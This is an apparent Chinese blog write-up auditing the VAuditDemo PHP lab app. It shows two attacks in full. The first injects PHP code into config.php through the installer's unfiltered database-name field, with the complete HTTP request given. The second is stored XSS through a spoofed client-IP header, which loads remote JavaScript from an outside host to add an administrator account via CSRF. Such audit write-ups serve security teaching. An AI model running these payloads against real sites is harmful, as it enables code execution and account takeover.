zoukankan      html  css  js  c++  java
  • VAuditDemo-安装问题和XSS的审计

    安装问题的审计

    一般PHP程序都有一个初始安装的功能。 当程序安装后一般会自动删除安装文件、或者加lock限制。

    安装功能可能存在以下问题:
    • 无验证功能,任意重装覆盖
    • $_GET['step']跳过限制步骤
    • 变量覆盖导致重装
    • 判断lock后跳转无exit
    • 解析install.php.bak漏洞
    • 其他特定功能绕过漏洞

    安装问题分析

    • 首先查看install.php发现在判断存在lock文件后无exit。
    <?php
    if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
        header( "Location: ../index.php" );
        /* exit;*/
    }

    再继续查看代码发现,dbname在写入config.php时未做过滤。

    if (in_array(strtolower($dbname), $data)){  
            mysql_close();
            echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
            exit();
        }
    
    ...
    
        mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );  
    
    $fp=fopen( "../sys/config.php", "w" );   
        fwrite( $fp, $str_tmp );
        fclose( $fp );

    查看config.php,构造payload

    闭合双引号,然后在后面跟上我们要执行的代码,注释掉后面的内容。

    $host="localhost"; 
    $username="root"; 
    $password="root"; 
    $database="vauditdemo"; //  exp;-- -";phpinfo();//

    返回到install.php中注释掉lock后的跳转语句,访问install.php并在进入重装页面使用burpsuite抓包。

    if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
        // header( "Location: ../index.php" );
    }

    抓包修改dbname的值为我们构造的payload。

    POST /vauditdemo/install/install.php HTTP/1.1
    Host: 192.168.174.195
    Content-Length: 84
    Cache-Control: max-age=0
    Origin: http://192.168.174.195
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.174.195/vauditdemo/install/install.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    Connection: close
    
    dbhost=localhost&dbuser=root&dbpass=root&dbname=exp;-- -";phpinfo();//&Submit=%E5%AE%89%E8%A3%9D

    抓包后,将install.php中的跳转语句的注释取消。

    发送payload后,然后查看config.php中的dbname内容,可以看到payload已经成功被写入config.php文件中。

    $host="localhost"; 
    $username="root"; 
    $password="root"; 
    $database="exp;-- -";phpinfo();//";

    访问config.php即可显示phpinfo()信息。

     

    审计思路总结

    判断lock后跳转无exit
    -->
    $dbname = $_POST["dbname"];
    -->
    mysql_query()-->error-->die;
    -->
    $str_tmp
    -->
    fwrite($fp,$str_tmp);
    -->
    shell it!


    XSS后台敏感操作

    查看如下代码:获取源IP的方式是先判断是否存在HTTP_CLIENT_IP字段,若没有再查看是否存在HTTP_X_FORWARDED_FOR字段,若无,则通过REMOTE_ADDR获取,而我们可以控制的只有HTTP_CLIENT_IP和X_FORWARDED_FOR字段,可以达到注入的目的。

    function get_client_ip(){
        if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){
            $ip = $_SERVER["HTTP_CLIENT_IP"];
        }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){
            $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){
            $ip = $_SERVER["REMOTE_ADDR"];
        }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){
            $ip = $_SERVER['REMOTE_ADDR'];
        }else{
            $ip = "unknown";
        }
        return($ip);
    }

    然后我们通过回溯来找出get_client_ip函数在哪里都有使用。

    if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
        $clean_name = clean_input($_POST['user']);
        $clean_pass = clean_input($_POST['pass']);
        $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
        $data = mysql_query($query, $conn) or die('Error!!');
    
        if (mysql_num_rows($data) == 1) {
            $row = mysql_fetch_array($data);
            $_SESSION['username'] = $row['user_name'];
            $_SESSION['avatar'] = $row['user_avatar'];
            $ip = sqlwaf(get_client_ip());
            $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
            mysql_query($query, $conn) or die("updata error!");
            header('Location: user.php');
            }
        else {
            $_SESSION['error_info'] = '用户名或密码错误';
            header('Location: login.php');
        }
        mysql_close($conn);
    }

    通过分析可以知道在登录时进行了获取IP的操作,并且get_client_ip()使用sqlwaf过滤器进行了过滤,并且$ip使用单引号进行包裹,因此无法进行SQL注入。

    $ip = sqlwaf(get_client_ip());
    $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";

    由于sqlwaf()过滤器只是进行了SQL注入的过滤,并没有XSS的过滤,因此此处我们可以使用XSS注入攻击。

    login_ip = '$ip,我们只要找到login_ip所在位置,当数据库字段数允许达到一定的要求,即可进行xss注入。

    全局搜索login_ip,发现在manageUser.php中存在login_ip. 从数据库字段信息中可以看到该字段设置了255个字符长度。

    C:phpstudy_proWWWvauditdemoadminmanageUser.php:
       24          <td><?php echo $users['user_id'];?></a></td>
       25          <td><?php echo $html_user_name;?></td>
       26:         <td><?php echo $users['login_ip'];?></td>
       27          <td><a href="delUser.php?id=<?php echo $users['user_id'];?>">删除</a></td>
       28      </tr>
    
    C:phpstudy_proWWWvauditdemoinstallinstall.sql:
       57    `user_bio` varchar(255) NOT NULL DEFAULT '',
       58    `join_date` date NOT NULL,
       59:   `login_ip` varchar(255) DEFAULT NULL,
       60    PRIMARY KEY (`user_id`)
       61  ) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8;
    
    C:phpstudy_proWWWvauditdemouserlogCheck.php:
       13          $_SESSION['avatar'] = $row['user_avatar'];
       14          $ip = sqlwaf(get_client_ip());
       15:         $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
       16          mysql_query($query, $conn) or die("updata error!");
       17          header('Location: user.php');

    我们可以在登录时构造插入xss代码,使用xss引入外部js代码来执行添加用户操作,当管理员触发了xss,即可添加一个新用户。

    if (mysql_num_rows($data) == 1) {
            $row = mysql_fetch_array($data);
            $_SESSION['username'] = $row['user_name'];
            $_SESSION['avatar'] = $row['user_avatar'];
            $ip = sqlwaf(get_client_ip());
            // <script src="http://www.code.com/csrfdemo.js"></script>
            $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
            mysql_query($query, $conn) or die("updata error!");
            header('Location: user.php');
            }
        else {
            $_SESSION['error_info'] = '用户名或密码错误';
            header('Location: login.php');
        }

    js:将csrf的payload放在远程服务器上。

    (function () {
        var xmlHttp;
        try {
            xmlHttp = new XMLHttpRequest();
        } catch (e)    {
            try {
                 xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {
                }
            }
        }
        xmlHttp.open("POST","manageAdmin.php",true);
        xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');
        xmlHttp.send('username=xss&password=123456' || null);
    }) ();

    xss代码执行后,成功添加了一个管理员用户xss

    Name    Manege
    admin    删除
    xss      删除
     
  • 相关阅读:
    Vault插件示例--Vault Explorer与Thin Client的集成。
    什么是REST?
    Android Tips: 打电话和发短信
    使用Autodesk Vault插件向导轻松创建Vault插件
    智者当借力而行, 借助Autodesk应用程序商店实现名利双收
    MapGuide Maestro 5.1发布了
    ArcGIS ElementLayer上放置Windows控件
    ArcGIS图层和要素的过滤显示
    ArcGIS中的三种查询
    ArcGIS图层介绍
  • 原文地址:https://www.cnblogs.com/micr067/p/12645033.html
Copyright © 2011-2022 走看看